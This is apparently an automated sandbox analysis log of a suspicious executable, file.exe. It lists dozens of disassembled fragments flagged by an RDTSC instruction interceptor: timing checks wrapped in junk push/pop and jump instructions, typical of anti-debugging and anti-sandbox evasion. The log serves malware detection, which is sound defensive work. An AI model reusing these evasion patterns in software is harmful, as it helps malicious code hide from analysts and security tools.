Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5A8C2 second address: F5A8E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A4CCE8436h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jne 00007F4A4CCE8426h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5A8E6 second address: F5A904 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F4A4CE02A26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F4A4CE02A34h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5B450 second address: F5B455 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5B943 second address: F5B952 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jnc 00007F4A4CE02A26h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5BBB3 second address: F5BBBF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 ja 00007F4A4CCE8426h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5BBBF second address: F5BBD8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A4CE02A2Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jbe 00007F4A4CE02A2Eh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5C100 second address: F5C10C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5C10C second address: F5C133 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4A4CE02A31h 0x00000008 jmp 00007F4A4CE02A31h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F63FC9 second address: F63FCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F63FCD second address: F63FD3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F63FD3 second address: F63FD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F64257 second address: F64262 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F4A4CE02A26h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F64262 second address: F6426A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6426A second address: F64286 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F4A4CE02A26h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f pushad 0x00000010 push esi 0x00000011 pop esi 0x00000012 jnl 00007F4A4CE02A26h 0x00000018 popad 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F643C4 second address: F643D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 jng 00007F4A4CCE842Eh 0x0000000f push eax 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F643D7 second address: F643EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4A4CE02A34h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F643EF second address: F64407 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A4CCE8433h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F64976 second address: F6497A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6497A second address: F64988 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 pushad 0x0000000a push esi 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6B98C second address: F6B992 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6B992 second address: F6B997 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6B997 second address: F6B9A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jnp 00007F4A4CE02A26h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6B9A3 second address: F6B9A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6B9A7 second address: F6B9AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6B9AD second address: F6B9BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jg 00007F4A4CCE8426h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6C5D7 second address: F6C5FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F4A4CE02A2Dh 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007F4A4CE02A30h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6C5FF second address: F6C606 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6C606 second address: F6C60C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6C60C second address: F6C612 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6C7AC second address: F6C7B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6C7B5 second address: F6C7BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6C7BF second address: F6C7D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jc 00007F4A4CE02A26h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6B387 second address: F6B3B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push esi 0x0000000a jmp 00007F4A4CCE842Eh 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F4A4CCE8432h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6B3B4 second address: F6B3CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a js 00007F4A4CE02A26h 0x00000010 je 00007F4A4CE02A26h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6B3CA second address: F6B3CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6B3CE second address: F6B3EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 jmp 00007F4A4CE02A2Ch 0x0000000e push eax 0x0000000f pop eax 0x00000010 pop edi 0x00000011 pushad 0x00000012 push esi 0x00000013 pop esi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F742DF second address: F742F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007F4A4CCE842Eh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F742F3 second address: F742F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F73D50 second address: F73D57 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F73EA1 second address: F73EA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F73EA7 second address: F73EC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jg 00007F4A4CCE842Ah 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d pushad 0x0000000e popad 0x0000000f pop edi 0x00000010 push eax 0x00000011 push edx 0x00000012 jc 00007F4A4CCE842Ah 0x00000018 pushad 0x00000019 popad 0x0000001a pushad 0x0000001b popad 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F73EC6 second address: F73ECD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F73ECD second address: F73EDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007F4A4CCE842Ch 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F73EDF second address: F73EED instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F4A4CE02A32h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F73EED second address: F73EF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7F576 second address: F7F598 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F4A4CE02A26h 0x00000008 jmp 00007F4A4CE02A30h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 js 00007F4A4CE02A26h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7F598 second address: F7F59C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F830C0 second address: F830C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F830C4 second address: F830CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F82DD8 second address: F82DDC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F82DDC second address: F82E0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 jmp 00007F4A4CCE842Eh 0x0000000e jmp 00007F4A4CCE8436h 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8479B second address: F847A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F847A1 second address: F847AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 jnp 00007F4A4CCE8432h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F847AF second address: F847B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F847B5 second address: F847BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F847BD second address: F847CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4A4CE02A2Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F847CF second address: F847D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8B7AC second address: F8B7B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8B7B2 second address: F8B7B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9577B second address: F957A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A4CE02A2Ah 0x00000007 jmp 00007F4A4CE02A32h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jp 00007F4A4CE02A30h 0x00000014 push ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9D820 second address: F9D825 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9D825 second address: F9D84E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4A4CE02A30h 0x00000009 jmp 00007F4A4CE02A33h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9D9B1 second address: F9D9B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9D9B5 second address: F9D9DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A4CE02A37h 0x00000007 jnc 00007F4A4CE02A26h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9D9DC second address: F9D9E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9D9E0 second address: F9DA28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4A4CE02A31h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebx 0x0000000c pushad 0x0000000d jo 00007F4A4CE02A3Ah 0x00000013 jmp 00007F4A4CE02A34h 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b pop eax 0x0000001c jmp 00007F4A4CE02A31h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9DA28 second address: F9DA34 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9DA34 second address: F9DA3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9DB74 second address: F9DB90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4A4CCE842Dh 0x00000009 je 00007F4A4CCE8426h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push esi 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9DB90 second address: F9DBA7 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F4A4CE02A26h 0x00000008 jbe 00007F4A4CE02A26h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop esi 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9DBA7 second address: F9DBC2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A4CCE8433h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9DBC2 second address: F9DBCC instructions: 0x00000000 rdtsc 0x00000002 jno 00007F4A4CE02A26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9DF60 second address: F9DF6C instructions: 0x00000000 rdtsc 0x00000002 jl 00007F4A4CCE8426h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9DF6C second address: F9DF74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9DF74 second address: F9DF78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA2D98 second address: FA2DA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA2DA0 second address: FA2DA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA2DA6 second address: FA2DAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA2DAF second address: FA2DB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F4A4CCE8426h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAF98D second address: FAF995 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAF995 second address: FAF9B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A4CCE8435h 0x00000007 jo 00007F4A4CCE8426h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAF9B4 second address: FAF9B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAF9B9 second address: FAF9ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4A4CCE842Dh 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edi 0x0000000f push eax 0x00000010 jp 00007F4A4CCE8426h 0x00000016 jno 00007F4A4CCE8426h 0x0000001c pop eax 0x0000001d pushad 0x0000001e pushad 0x0000001f popad 0x00000020 jmp 00007F4A4CCE842Ah 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBEC71 second address: FBEC7A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC04E6 second address: FC04F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jns 00007F4A4CCE8426h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC04F6 second address: FC0502 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC035D second address: FC039D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007F4A4CCE8438h 0x00000010 ja 00007F4A4CCE8426h 0x00000016 jo 00007F4A4CCE8426h 0x0000001c ja 00007F4A4CCE8426h 0x00000022 popad 0x00000023 jg 00007F4A4CCE842Ah 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC039D second address: FC03A4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC2C2C second address: FC2C3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 js 00007F4A4CCE842Ah 0x0000000b push edi 0x0000000c pop edi 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD288A second address: FD28AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A4CE02A32h 0x00000007 jns 00007F4A4CE02A26h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD28AC second address: FD28E1 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F4A4CCE8426h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d jmp 00007F4A4CCE8434h 0x00000012 jmp 00007F4A4CCE8433h 0x00000017 pop edi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD28E1 second address: FD290E instructions: 0x00000000 rdtsc 0x00000002 je 00007F4A4CE02A38h 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F4A4CE02A30h 0x0000000f push esi 0x00000010 jmp 00007F4A4CE02A30h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD3107 second address: FD3111 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD3111 second address: FD3147 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4A4CE02A32h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 jmp 00007F4A4CE02A36h 0x00000015 pushad 0x00000016 popad 0x00000017 pop ecx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD3147 second address: FD3150 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
